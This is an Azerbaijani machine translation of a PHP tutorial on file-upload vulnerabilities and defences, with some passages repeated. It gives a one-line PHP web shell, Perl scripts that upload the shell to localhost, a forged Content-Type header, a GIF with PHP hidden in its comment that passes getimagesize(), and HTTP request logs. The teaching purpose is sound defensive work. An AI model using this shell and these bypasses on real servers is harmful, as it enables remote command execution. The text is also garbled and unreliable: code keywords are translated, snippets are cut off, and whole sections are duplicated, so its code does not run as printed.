PHP istifadə edərək faylların serverə yüklənməsi. Əsas zəifliklər və onlardan qaçınmaq yolları. PHP Php-də Şəkillərin Yüklənməsi üçün Tam Bələdçi Faylların Serverə Təhlükəsiz Yüklənməsi




Həmin məqalədə mən yalnız yükləmə prosesinin özünü açıqladım və təhlükəsizlik məsələlərinə toxunmadım.

Çox vaxt lazımi təhlükəsizlik nəzarəti olmadan faylların yüklənməsi zəifliklərə gətirib çıxarır ki, bu da təcrübədən göründüyü kimi PHP veb proqramlarında əsl problemə çevrilib.

Tələb olunan təhlükəsizlik səviyyəsini təmin etməsəniz, təcavüzkar serverə ixtiyari bir fayl yükləyə biləcək, məsələn, php skripti, onun köməyi ilə serverdəki istənilən fayla baxa və ya daha da pisi, ixtiyari kodu icra edə bilər!

Ona görə də bu yazıda serverə faylların yüklənməsi üçün veb proqramların əsas zəiflikləri və onlardan qaçmağın yolları haqqında danışmağa çalışacağam.

Beləliklə, başlayaq. Hər bir tərtibatçının ağlına gələn ilk şey yoxlamaqdır Məzmun növü fayllar. Başqa sözlə, ciddi şəkildə müəyyən edilmiş tipli faylların yüklənməsinə icazə verin. Koda nəzər salaq:

Adi istifadəçi GIF-dən başqa hər hansı bir fayl yükləməyə cəhd edərsə, ona xəbərdarlıq ediləcək, lakin təcavüzkar saytınızdakı veb-formadan istifadə etməyəcək!

Kiçik bir Perl skripti yaza bilir (istənilən dildə mümkündür) tərəfindən istifadəçi hərəkətlərini təqlid edəcək faylların yüklənməsi, Göndərilmiş məlumatları öz istəyinizlə dəyişdirmək üçün yoxlanıldıqdan sonra MIME növü sorğu ilə birlikdə gəlir, onda heç bir şey təcavüzkarın onu “şəkil/gif”ə qoymasına mane olmur, çünki müştəri emulyasiyasının köməyi ilə göndərdiyi sorğuya tam nəzarət edir.

Yalnız şəkillər yükləyirsinizsə, Məzmun Növü başlığına etibar etməməlisiniz, əksinə yüklənmiş faylın faktiki məzmununu yoxlayın ki, o, əslində şəkildir. Bunun üçün PHP çox tez-tez funksiyadan istifadə edir getimagesize().

Funksiya getimagesize() GIF, JPG, PNG, SWF, PSD, TIFF və ya BMP şəklinin ölçüsünü müəyyən edir və normal HTML IMG teqində istifadə olunan mətn sətirinin ölçülərini, fayl növünü və hündürlüyünü/enini qaytarır.

Bu funksiyanı skriptimizdə necə istifadə edə biləcəyimizi görək:

Düşünə bilərsiniz ki, indi arxayın ola bilərik ki, yalnız GIF və ya JPEG faylları endiriləcək. Təəssüf ki, belə deyil. Fayl əslində GIF və ya JPEG formatında və eyni zamanda PHP skripti ola bilər. Əksər şəkil formatları təsvirə mətn metadata əlavə etməyə imkan verir. Bu metadatada bəzi PHP kodu olan mükəmməl etibarlı təsvir yaratmaq mümkündür. getimagesize() fayla baxdıqda, onu etibarlı GIF və ya JPEG kimi qəbul edəcək. PHP tərcüməçisi fayla baxdıqda, icra oluna bilən PHP kodunu bəzi binar "zibil"də görür, ona məhəl qoyulmayacaq.

Soruşa bilərsiniz, niyə yalnız fayl uzantısını yoxlamırsınız? Faylların yüklənməsinə icazə verməsək *.php, onda server heç vaxt bu faylı skript kimi icra edə bilməyəcək. Bu yanaşmaya da nəzər salaq.

Siz uzantıların ağ siyahısını yarada və yüklənmiş faylın adını ağ siyahı ilə müqayisə edə bilərsiniz.

Preg_match("/$item\$/i", $_FILES["uploadFile"]["name"]) ifadəsi ağ siyahı massivində istifadəçi tərəfindən müəyyən edilmiş fayl adına uyğun gəlir. Modifikator "mən" ifadəmizin böyük hərfsiz olduğunu deyir. Fayl uzantısı ağ siyahıdakı elementlərdən birinə uyğun gələrsə, fayl endiriləcək, əks halda

  • Tərcümə

Bu məqalə serverə faylların yüklənməsi üçün veb proqramların əsas zəifliklərini və onlardan necə qaçınmaq yollarını nümayiş etdirir. Məqalə çox əsasları ehtiva edir, onun peşəkarlar üçün maraqlı olması ehtimalı azdır. Ancaq buna baxmayaraq, hər bir PHP tərtibçisi bunu bilməlidir.

Müxtəlif veb proqramları istifadəçilərə faylları yükləməyə imkan verir. Forumlar istifadəçilərə "avatarları" yükləməyə imkan verir. Foto qalereyaları sizə fotoşəkilləri yükləməyə imkan verir. Sosial şəbəkələr şəkillər, videolar və s. yükləmək imkanlarını təmin edir. Bloqlar sizə avatarları və/yaxud şəkilləri yükləməyə imkan verir.

Çox vaxt lazımi təhlükəsizlik nəzarəti olmadan faylların yüklənməsi zəifliklərə gətirib çıxarır ki, bu da təcrübədən göründüyü kimi PHP veb proqramlarında əsl problemə çevrilib.

Aparılmış testlər göstərdi ki, bir çox veb proqramların çoxlu təhlükəsizlik problemləri var. Bu “deşiklər” təcavüzkarlara serverdə istənilən fayla baxmaqdan və ixtiyari kodu yükləməkdən və icra etməkdən başlayaraq icazəsiz hərəkətlər etmək üçün geniş imkanlar verir. Bu məqalə əsas təhlükəsizlik boşluqları və onlardan necə qaçınmaq barədə danışır.

Bu məqalədə təqdim olunan kod nümunələri aşağıdakılardan endirilə bilər:
www.scanit.be/uploads/php-file-upload-examples.zip.

Əgər onlardan istifadə etmək istəyirsinizsə, lütfən, istifadə etdiyiniz serverin İnternetdən və ya başqa ictimai şəbəkələrdən əlçatan olmadığından əmin olun. Nümunələr müxtəlif boşluqları nümayiş etdirir, onların xaricdən əldə edilə bilən serverdə icrası təhlükəli nəticələrə səbəb ola bilər.

Daimi fayl yükləmə

Faylların yüklənməsi adətən iki müstəqil funksiyadan ibarətdir - istifadəçidən faylları qəbul etmək və faylları istifadəçiyə göstərmək. Hər iki hissə zəiflik mənbəyi ola bilər. Gəlin aşağıdakı koda baxaq (upload1.php):
$uploaddir = "yükləmələr/" ; // Webroot altında nisbi yol


əks-səda;
}
?>


Adətən istifadəçilər belə bir formadan istifadə edərək faylları yükləyirlər:

< form name ="upload" action ="upload1.php" method ="POST" ENCTYPE ="multipart/form-data" >
Yükləmək üçün faylı seçin:< input type ="file" name ="userfile" >
< input type ="submit" name ="upload" value ="yükləmək" >

* Bu mənbə kodu Mənbə Kodu Vurğulayıcı ilə vurğulanıb.

Təcavüzkar bu formadan istifadə etməyəcək. Kiçik bir Perl skripti yaza bilir (istənilən dildə ola bilər - tərcüməçinin qeydi), göndərilən məlumatları öz mülahizəsinə uyğun olaraq dəyişdirmək üçün istifadəçinin faylları yükləmək hərəkətlərini təqlid edəcək.

Bu halda, yükləmə böyük təhlükəsizlik boşluğuna malikdir: upload1.php istifadəçilərə saytın kökünə ixtiyari faylları yükləməyə imkan verir. Təcavüzkar veb server prosesinin imtiyazı ilə serverdə ixtiyari qabıq əmrlərinin icrasına imkan verən PHP faylını yükləyə bilər. Bu skript PHP-Shell adlanır. Belə bir skriptin ən sadə nümunəsi:

sistem($_GET["əmr"]);
?>

Bu skript serverdə yerləşirsə, sorğu vasitəsilə istənilən əmri yerinə yetirə bilərsiniz:
server/shell.php?command=any_Unix_shell_command

Daha təkmil PHP qabıqlarını İnternetdə tapmaq olar. Onlar ixtiyari faylları yükləyə, SQL sorğularını yerinə yetirə və s.

Aşağıda göstərilən Perl mənbəyi upload1.php istifadə edərək PHP-Shell-i serverə yükləyir:

#!/usr/bin/perl
LWP istifadə edin; # biz libwwwperl istifadə edirik
HTTP istifadə edin::Request::Common;
$ua = $ua = LWP::UserAgent->new ;
$res = $ua->sorğu(POST "http://localhost/upload1.php",
Məzmun_Növü => "forma-data",
Məzmun => ,],);

Çap $res->as_string();


* Bu mənbə kodu Mənbə Kodu Vurğulayıcı ilə vurğulanıb.

Bu skript istifadə edir libwwwperl HTTP müştərisini təqlid edən rahatlıq Perl kitabxanasıdır.

Bu skript icra edildikdə belə olacaq:

Sorğu:

POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Əlaqə: TE, bağlayın
Host: localhost

Məzmun uzunluğu: 156

--xYzZY

Məzmun növü: mətn/düz
sistem($_GET["əmr"]);
?>
--xYzZY-

Cavab:
HTTP/1.1 200 OK
Tarix: Çərşənbə, 13 İyun 2007 12:25:32 GMT
Server: Apache

Məzmun uzunluğu: 48
Əlaqə: yaxın
Məzmun növü: mətn/html
Fayl etibarlıdır və uğurla yükləndi.

Shell skriptini yüklədikdən sonra əmri etibarlı şəkildə yerinə yetirə bilərik:
$ curl localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) qrupları=81(apache)

cURL Unix və Windows-da mövcud olan komanda xətti HTTP müştərisidir. Bu veb proqramları sınaqdan keçirmək üçün çox faydalı bir vasitədir. cURL curl.haxx.se saytından endirilə bilər

Məzmun növü yoxlanılır

Yuxarıdakı nümunə nadir hallarda baş verir. Əksər hallarda, proqramçılar istifadəçilərin ciddi şəkildə müəyyən edilmiş faylları yükləməsini təmin etmək üçün sadə yoxlamalardan istifadə edirlər. Məsələn, Content-Type başlığından istifadə edərək:

Misal 2 (upload2.php):

əgər ($_FILES[;
çıxış;
}
$uploaddir = "yükləmələr/" ;
$uploadfile = $uploaddir. baza adı($_FILES["istifadəçi faylı" ]["ad" ]);

əgər (köçürülən_fayl($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
əks-səda;
}
?>

* Bu mənbə kodu Mənbə Kodu Vurğulayıcı ilə vurğulanıb.

Bu halda, təcavüzkar yalnız shell.php-ni yükləməyə cəhd edərsə, kodumuz sorğuda yüklənmiş faylın MIME tipini yoxlayacaq və lazımsızları süzəcək.

Sorğu:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Əlaqə: TE, bağlayın
Host: localhost
İstifadəçi-Agent: libwww-perl/5.803
Məzmun növü: çoxhissəli/forma-data; sərhəd = xYzZY
Məzmun uzunluğu: 156
--xYzZY
Content-Disposition: forma-data; adı = "istifadəçi faylı"; fayl adı = "shell.php"
Məzmun növü: mətn/düz
sistem($_GET["əmr"]);
?>
--xYzZY--

Cavab:
HTTP/1.1 200 OK
Tarix: Cümə axşamı, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Məzmun uzunluğu: 41
Əlaqə: yaxın
Məzmun növü: mətn/html
İndiyə qədər yaxşı. Təəssüf ki, bu mühafizədən yan keçməyin bir yolu var, çünki yoxlanılan MIME növü sorğu ilə birlikdə gəlir. Yuxarıdakı sorğuda "mətn/düz" olaraq təyin edilmişdir (brauzer tərəfindən quraşdırılmışdır - tərcüməçinin qeydi). Təcavüzkarın onu "şəkil/gif"ə qoymasına heç nə mane ola bilməz, çünki müştəri emulyasiyası ilə göndərdiyi sorğuya tam nəzarət edir (upload2.pl):
#!/usr/bin/perl
#
LWP istifadə edin;
HTTP istifadə edin::Request::Common;
$ua = $ua = LWP::UserAgent->yeni ;;
$res = $ua->sorğu(POST "http://localhost/upload2.php",
Məzmun_Növü => "forma-data",
Məzmun => ,],);

Çap $res->as_string();

* Bu mənbə kodu Mənbə Kodu Vurğulayıcı ilə vurğulanıb.

Və belə olur.

Sorğu:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Əlaqə: TE, bağlayın
Host: localhost
İstifadəçi-Agent: libwww-perl/5.803
Məzmun növü: çoxhissəli/forma-data; sərhəd = xYzZY
Məzmun uzunluğu: 155
--xYzZY
Content-Disposition: forma-data; adı = "istifadəçi faylı"; fayl adı = "shell.php"
Məzmun növü: şəkil/gif
sistem($_GET["əmr"]);
?>
--xYzZY-

Cavab:
HTTP/1.1 200 OK
Tarix: Cümə axşamı, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Məzmun uzunluğu: 59
Əlaqə: yaxın
Məzmun növü: mətn/html

Nəticədə, upload2.pl serverimizi faylı qəbul etməyə məcbur edən Məzmun Tipi başlığını saxtalaşdırır.

Şəkil faylının məzmununun yoxlanılması

Məzmun Növü başlığına etibar etmək əvəzinə, PHP tərtibçisi yüklənmiş faylın həqiqi məzmununu yoxlaya bilər ki, bu, həqiqətən də şəkildir. Bunun üçün tez-tez PHP getimagesize() funksiyasından istifadə olunur. O, fayl adını arqument kimi qəbul edir və şəkil ölçüləri və növü massivini qaytarır. Aşağıdakı upload3.php nümunəsinə baxaq.
$imageinfo = getimagesize($_FILES["userfile" ]["tmp_name" ]);
if ($imageinfo["mime" ] != "image/gif" && $imageinfo["mime" ] != "image/jpeg" ) (
əks-səda "Bağışlayın, biz yalnız GIF və JPEG şəkillərini qəbul edirik\n";
çıxış;
}

$uploaddir = "yükləmələr/" ;
$uploadfile = $uploaddir. baza adı($_FILES["istifadəçi faylı" ]["ad" ]);

əgər (köçürülən_fayl($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
əks-səda;
}
?>

* Bu mənbə kodu Mənbə Kodu Vurğulayıcı ilə vurğulanıb.

İndi, əgər təcavüzkar shell.php-ni yükləməyə cəhd etsə, hətta Məzmun Tipi başlığını "image/gif" olaraq təyin etsə belə, upload3.php yenə də xəta verəcək.

Sorğu:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Əlaqə: TE, bağlayın
Host: localhost
İstifadəçi-Agent: libwww-perl/5.803
Məzmun növü: çoxhissəli/forma-data; sərhəd = xYzZY
Məzmun uzunluğu: 155
--xYzZY
Content-Disposition: forma-data; adı = "istifadəçi faylı"; fayl adı = "shell.php"
Məzmun növü: şəkil/gif
sistem($_GET["əmr"]);
?>
--xYzZY-

Cavab:
HTTP/1.1 200 OK
Tarix: Cümə axşamı, 31 May 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Məzmun uzunluğu: 42
Əlaqə: yaxın
Məzmun növü: mətn/html
Üzr istəyirik, biz yalnız GIF və JPEG şəkillərini qəbul edirik

Düşünə bilərsiniz ki, indi arxayın ola bilərik ki, yalnız GIF və ya JPEG faylları yüklənəcək. Təəssüf ki, belə deyil. Fayl əslində GIF və ya JPEG formatında və eyni zamanda PHP skripti ola bilər. Əksər şəkil formatları təsvirə mətn metadata əlavə etməyə imkan verir. Bu metadatada bəzi PHP kodu olan mükəmməl etibarlı təsvir yaratmaq mümkündür. getimagesize() fayla baxdıqda, onu etibarlı GIF və ya JPEG kimi qəbul edəcək. PHP tərcüməçisi fayla baxdıqda, icra oluna bilən PHP kodunu bəzi binar "zibil"də görür və ona məhəl qoyulmayacaq. Nümunədə crocus.gif adlı tipik bir fayl var (məqalənin əvvəlinə baxın). Belə bir şəkil istənilən qrafik redaktorda yaradıla bilər.

Beləliklə, şəklimizi yükləmək üçün Perl skripti yaradaq:

#!/usr/bin/perl
#
LWP istifadə edin;
HTTP istifadə edin::Request::Common;
$ua = $ua = LWP::UserAgent->yeni ;;
$res = $ua->sorğu(POST "http://localhost/upload3.php",
Məzmun_Növü => "forma-data",
Məzmun => , ],);

Çap $res->as_string();

* Bu mənbə kodu Mənbə Kodu Vurğulayıcı ilə vurğulanıb.

Bu kod crocus.gif faylını götürür və onu crocus.php adı ilə yükləyir. İcra aşağıdakılarla nəticələnəcək:

Sorğu:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Əlaqə: TE, bağlayın
Host: localhost
İstifadəçi-Agent: libwww-perl/5.803
Məzmun növü: çoxhissəli/forma-data; sərhəd = xYzZY
Məzmun uzunluğu: 14835
--xYzZY

Məzmun növü: şəkil/gif
GIF89a(...bəzi ikili verilənlər...)(... ikili məlumatların qalan hissəsini atlayırıq ...)
--xYzZY-

Cavab:
HTTP/1.1 200 OK
Tarix: Cümə axşamı, 31 May 2007 14:47:24 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Məzmun uzunluğu: 59
Əlaqə: yaxın
Məzmun növü: mətn/html
Fayl etibarlıdır və uğurla yükləndi.

Təcavüzkar indi uploads/crocus.php faylını icra edə və aşağıdakıları əldə edə bilər:

Gördüyünüz kimi, PHP tərcüməçisi təsvirin əvvəlindəki ikili məlumatlara məhəl qoymur və ardıcıllığı yerinə yetirir "" GIF şərhində.

Yüklənmiş faylın uzantısının yoxlanılması

Bu məqalənin oxucusu təəccüblənə bilər ki, niyə biz yüklənmiş faylın genişləndirilməsini yoxlamırıq? Əgər *.php fayllarının yüklənməsinə icazə verməsək, server heç vaxt həmin faylı skript kimi icra edə bilməyəcək. Bu yanaşmaya da nəzər salaq.

Biz fayl uzantılarını qara siyahıya sala və yüklənmiş faylın adını yoxlaya bilərik, faylın icra edilə bilən uzantıları (upload4.php) ilə yüklənməsinə məhəl qoymadan:

$qara siyahı = massiv(".php" , ".phtml" , ".php3" , ".php4" );
foreach ($element kimi $qara siyahı) (
əgər (preg_match(;
çıxış;
}
}

$uploaddir = "yükləmələr/" ;
$uploadfile = $uploaddir. baza adı($_FILES["istifadəçi faylı" ]["ad" ]);

əgər (köçürülən_fayl($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
əks-səda;
}
?>


* Bu mənbə kodu Mənbə Kodu Vurğulayıcı ilə vurğulanıb.

preg_match("/$item\$/i", $_FILES["userfile"]["name"]) ifadəsi qara siyahı massivində istifadəçi tərəfindən müəyyən edilmiş fayl adına uyğun gəlir. "i" dəyişdiricisi ifadəmizin böyük hərflərə həssas olduğunu bildirir. Fayl uzantısı qara siyahıdakı elementlərdən birinə uyğun gəlirsə, fayl endirilməyəcək.

.php uzantılı faylı yükləməyə çalışsaq, bu, xəta ilə nəticələnəcək:

Sorğu:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Əlaqə: TE, bağlayın
Host: localhost
İstifadəçi-Agent: libwww-perl/5.803
Məzmun növü: çoxhissəli/forma-data; sərhəd = xYzZY
Məzmun uzunluğu: 14835
--xYzZY
Content-Disposition: forma-data; adı = "istifadəçi faylı"; fayl adı = "crocus.php"
Məzmun növü: şəkil/gif

--xYzZY-

Cavab:
HTTP/1.1 200 OK
Tarix: Cümə axşamı, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Məzmun uzunluğu: 36
Əlaqə: yaxın
Məzmun növü: mətn/html
.gif uzantılı faylı yükləsək, o zaman endiriləcək:

Sorğu:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Əlaqə: TE, bağlayın
Host: localhost
İstifadəçi-Agent: libwww-perl/5.803
Məzmun növü: çoxhissəli/forma-data; sərhəd = xYzZY
Məzmun uzunluğu: 14835
--xYzZY
Content-Disposition: forma-data; adı = "istifadəçi faylı"; fayl adı = "crocus.gif"
Məzmun növü: şəkil/gif
GIF89(...ikili data atlanır...)
--xYzZY--

Cavab:
HTTP/1.1 200 OK
Tarix: Cümə axşamı, 31 May 2007 15:20:17 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Məzmun uzunluğu: 59
Əlaqə: yaxın
Məzmun növü: mətn/html
Fayl etibarlıdır və uğurla yükləndi.

İndi yüklənmiş faylı tələb etsək, o, server tərəfindən icra olunmayacaq:
  • Tərcümə

Bu məqalə serverə faylların yüklənməsi üçün veb proqramların əsas zəifliklərini və onlardan necə qaçınmaq yollarını nümayiş etdirir. Məqalə çox əsasları ehtiva edir, onun peşəkarlar üçün maraqlı olması ehtimalı azdır. Ancaq buna baxmayaraq, hər bir PHP tərtibçisi bunu bilməlidir.

Müxtəlif veb proqramları istifadəçilərə faylları yükləməyə imkan verir. Forumlar istifadəçilərə "avatarları" yükləməyə imkan verir. Foto qalereyaları sizə fotoşəkilləri yükləməyə imkan verir. Sosial şəbəkələr şəkillər, videolar və s. yükləmək imkanlarını təmin edir. Bloqlar sizə avatarları və/yaxud şəkilləri yükləməyə imkan verir.

Çox vaxt lazımi təhlükəsizlik nəzarəti olmadan faylların yüklənməsi zəifliklərə gətirib çıxarır ki, bu da təcrübədən göründüyü kimi PHP veb proqramlarında əsl problemə çevrilib.

Aparılmış testlər göstərdi ki, bir çox veb proqramların çoxlu təhlükəsizlik problemləri var. Bu “deşiklər” təcavüzkarlara serverdə istənilən fayla baxmaqdan və ixtiyari kodu yükləməkdən və icra etməkdən başlayaraq icazəsiz hərəkətlər etmək üçün geniş imkanlar verir. Bu məqalə əsas təhlükəsizlik boşluqları və onlardan necə qaçınmaq barədə danışır.

Bu məqalədə təqdim olunan kod nümunələri aşağıdakılardan endirilə bilər:
www.scanit.be/uploads/php-file-upload-examples.zip.

Əgər onlardan istifadə etmək istəyirsinizsə, lütfən, istifadə etdiyiniz serverin İnternetdən və ya başqa ictimai şəbəkələrdən əlçatan olmadığından əmin olun. Nümunələr müxtəlif boşluqları nümayiş etdirir, onların xaricdən əldə edilə bilən serverdə icrası təhlükəli nəticələrə səbəb ola bilər.

Daimi fayl yükləmə

Faylların yüklənməsi adətən iki müstəqil funksiyadan ibarətdir - istifadəçidən faylları qəbul etmək və faylları istifadəçiyə göstərmək. Hər iki hissə zəiflik mənbəyi ola bilər. Gəlin aşağıdakı koda baxaq (upload1.php):
$uploaddir = "yükləmələr/" ; // Webroot altında nisbi yol


əks-səda;
}
?>


Adətən istifadəçilər belə bir formadan istifadə edərək faylları yükləyirlər:

< form name ="upload" action ="upload1.php" method ="POST" ENCTYPE ="multipart/form-data" >
Yükləmək üçün faylı seçin:< input type ="file" name ="userfile" >
< input type ="submit" name ="upload" value ="yükləmək" >

* Bu mənbə kodu Mənbə Kodu Vurğulayıcı ilə vurğulanıb.

Təcavüzkar bu formadan istifadə etməyəcək. Kiçik bir Perl skripti yaza bilir (istənilən dildə ola bilər - tərcüməçinin qeydi), göndərilən məlumatları öz mülahizəsinə uyğun olaraq dəyişdirmək üçün istifadəçinin faylları yükləmək hərəkətlərini təqlid edəcək.

Bu halda, yükləmə böyük təhlükəsizlik boşluğuna malikdir: upload1.php istifadəçilərə saytın kökünə ixtiyari faylları yükləməyə imkan verir. Təcavüzkar veb server prosesinin imtiyazı ilə serverdə ixtiyari qabıq əmrlərinin icrasına imkan verən PHP faylını yükləyə bilər. Bu skript PHP-Shell adlanır. Belə bir skriptin ən sadə nümunəsi:

sistem($_GET["əmr"]);
?>

Bu skript serverdə yerləşirsə, sorğu vasitəsilə istənilən əmri yerinə yetirə bilərsiniz:
server/shell.php?command=any_Unix_shell_command

Daha təkmil PHP qabıqlarını İnternetdə tapmaq olar. Onlar ixtiyari faylları yükləyə, SQL sorğularını yerinə yetirə və s.

Aşağıda göstərilən Perl mənbəyi upload1.php istifadə edərək PHP-Shell-i serverə yükləyir:

#!/usr/bin/perl
LWP istifadə edin; # biz libwwwperl istifadə edirik
HTTP istifadə edin::Request::Common;
$ua = $ua = LWP::UserAgent->new ;
$res = $ua->sorğu(POST "http://localhost/upload1.php",
Məzmun_Növü => "forma-data",
Məzmun => ,],);

Çap $res->as_string();


* Bu mənbə kodu Mənbə Kodu Vurğulayıcı ilə vurğulanıb.

Bu skript istifadə edir libwwwperl HTTP müştərisini təqlid edən rahatlıq Perl kitabxanasıdır.

Bu skript icra edildikdə belə olacaq:

Sorğu:

POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Əlaqə: TE, bağlayın
Host: localhost

Məzmun uzunluğu: 156

--xYzZY

Məzmun növü: mətn/düz
sistem($_GET["əmr"]);
?>
--xYzZY-

Cavab:
HTTP/1.1 200 OK
Tarix: Çərşənbə, 13 İyun 2007 12:25:32 GMT
Server: Apache

Məzmun uzunluğu: 48
Əlaqə: yaxın
Məzmun növü: mətn/html
Fayl etibarlıdır və uğurla yükləndi.

Shell skriptini yüklədikdən sonra əmri etibarlı şəkildə yerinə yetirə bilərik:
$ curl localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) qrupları=81(apache)

cURL Unix və Windows-da mövcud olan komanda xətti HTTP müştərisidir. Bu veb proqramları sınaqdan keçirmək üçün çox faydalı bir vasitədir. cURL curl.haxx.se saytından endirilə bilər

Məzmun növü yoxlanılır

Yuxarıdakı nümunə nadir hallarda baş verir. Əksər hallarda, proqramçılar istifadəçilərin ciddi şəkildə müəyyən edilmiş faylları yükləməsini təmin etmək üçün sadə yoxlamalardan istifadə edirlər. Məsələn, Content-Type başlığından istifadə edərək:

Misal 2 (upload2.php):

əgər ($_FILES[;
çıxış;
}
$uploaddir = "yükləmələr/" ;
$uploadfile = $uploaddir. baza adı($_FILES["istifadəçi faylı" ]["ad" ]);

əgər (köçürülən_fayl($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
əks-səda;
}
?>

* Bu mənbə kodu Mənbə Kodu Vurğulayıcı ilə vurğulanıb.

Bu halda, təcavüzkar yalnız shell.php-ni yükləməyə cəhd edərsə, kodumuz sorğuda yüklənmiş faylın MIME tipini yoxlayacaq və lazımsızları süzəcək.

Sorğu:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Əlaqə: TE, bağlayın
Host: localhost
İstifadəçi-Agent: libwww-perl/5.803
Məzmun növü: çoxhissəli/forma-data; sərhəd = xYzZY
Məzmun uzunluğu: 156
--xYzZY
Content-Disposition: forma-data; adı = "istifadəçi faylı"; fayl adı = "shell.php"
Məzmun növü: mətn/düz
sistem($_GET["əmr"]);
?>
--xYzZY--

Cavab:
HTTP/1.1 200 OK
Tarix: Cümə axşamı, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Məzmun uzunluğu: 41
Əlaqə: yaxın
Məzmun növü: mətn/html
İndiyə qədər yaxşı. Təəssüf ki, bu mühafizədən yan keçməyin bir yolu var, çünki yoxlanılan MIME növü sorğu ilə birlikdə gəlir. Yuxarıdakı sorğuda "mətn/düz" olaraq təyin edilmişdir (brauzer tərəfindən quraşdırılmışdır - tərcüməçinin qeydi). Təcavüzkarın onu "şəkil/gif"ə qoymasına heç nə mane ola bilməz, çünki müştəri emulyasiyası ilə göndərdiyi sorğuya tam nəzarət edir (upload2.pl):
#!/usr/bin/perl
#
LWP istifadə edin;
HTTP istifadə edin::Request::Common;
$ua = $ua = LWP::UserAgent->yeni ;;
$res = $ua->sorğu(POST "http://localhost/upload2.php",
Məzmun_Növü => "forma-data",
Məzmun => ,],);

Çap $res->as_string();

* Bu mənbə kodu Mənbə Kodu Vurğulayıcı ilə vurğulanıb.

Və belə olur.

Sorğu:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Əlaqə: TE, bağlayın
Host: localhost
İstifadəçi-Agent: libwww-perl/5.803
Məzmun növü: çoxhissəli/forma-data; sərhəd = xYzZY
Məzmun uzunluğu: 155
--xYzZY
Content-Disposition: forma-data; adı = "istifadəçi faylı"; fayl adı = "shell.php"
Məzmun növü: şəkil/gif
sistem($_GET["əmr"]);
?>
--xYzZY-

Cavab:
HTTP/1.1 200 OK
Tarix: Cümə axşamı, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Məzmun uzunluğu: 59
Əlaqə: yaxın
Məzmun növü: mətn/html

Nəticədə, upload2.pl serverimizi faylı qəbul etməyə məcbur edən Məzmun Tipi başlığını saxtalaşdırır.

Şəkil faylının məzmununun yoxlanılması

Məzmun Növü başlığına etibar etmək əvəzinə, PHP tərtibçisi yüklənmiş faylın həqiqi məzmununu yoxlaya bilər ki, bu, həqiqətən də şəkildir. Bunun üçün tez-tez PHP getimagesize() funksiyasından istifadə olunur. O, fayl adını arqument kimi qəbul edir və şəkil ölçüləri və növü massivini qaytarır. Aşağıdakı upload3.php nümunəsinə baxaq.
$imageinfo = getimagesize($_FILES["userfile" ]["tmp_name" ]);
if ($imageinfo["mime" ] != "image/gif" && $imageinfo["mime" ] != "image/jpeg" ) (
əks-səda "Bağışlayın, biz yalnız GIF və JPEG şəkillərini qəbul edirik\n";
çıxış;
}

$uploaddir = "yükləmələr/" ;
$uploadfile = $uploaddir. baza adı($_FILES["istifadəçi faylı" ]["ad" ]);

əgər (köçürülən_fayl($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
əks-səda;
}
?>

* Bu mənbə kodu Mənbə Kodu Vurğulayıcı ilə vurğulanıb.

İndi, əgər təcavüzkar shell.php-ni yükləməyə cəhd etsə, hətta Məzmun Tipi başlığını "image/gif" olaraq təyin etsə belə, upload3.php yenə də xəta verəcək.

Sorğu:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Əlaqə: TE, bağlayın
Host: localhost
İstifadəçi-Agent: libwww-perl/5.803
Məzmun növü: çoxhissəli/forma-data; sərhəd = xYzZY
Məzmun uzunluğu: 155
--xYzZY
Content-Disposition: forma-data; adı = "istifadəçi faylı"; fayl adı = "shell.php"
Məzmun növü: şəkil/gif
sistem($_GET["əmr"]);
?>
--xYzZY-

Cavab:
HTTP/1.1 200 OK
Tarix: Cümə axşamı, 31 May 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Məzmun uzunluğu: 42
Əlaqə: yaxın
Məzmun növü: mətn/html
Üzr istəyirik, biz yalnız GIF və JPEG şəkillərini qəbul edirik

Düşünə bilərsiniz ki, indi arxayın ola bilərik ki, yalnız GIF və ya JPEG faylları yüklənəcək. Təəssüf ki, belə deyil. Fayl əslində GIF və ya JPEG formatında və eyni zamanda PHP skripti ola bilər. Əksər şəkil formatları təsvirə mətn metadata əlavə etməyə imkan verir. Bu metadatada bəzi PHP kodu olan mükəmməl etibarlı təsvir yaratmaq mümkündür. getimagesize() fayla baxdıqda, onu etibarlı GIF və ya JPEG kimi qəbul edəcək. PHP tərcüməçisi fayla baxdıqda, icra oluna bilən PHP kodunu bəzi binar "zibil"də görür və ona məhəl qoyulmayacaq. Nümunədə crocus.gif adlı tipik bir fayl var (məqalənin əvvəlinə baxın). Belə bir şəkil istənilən qrafik redaktorda yaradıla bilər.

Beləliklə, şəklimizi yükləmək üçün Perl skripti yaradaq:

#!/usr/bin/perl
#
LWP istifadə edin;
HTTP istifadə edin::Request::Common;
$ua = $ua = LWP::UserAgent->yeni ;;
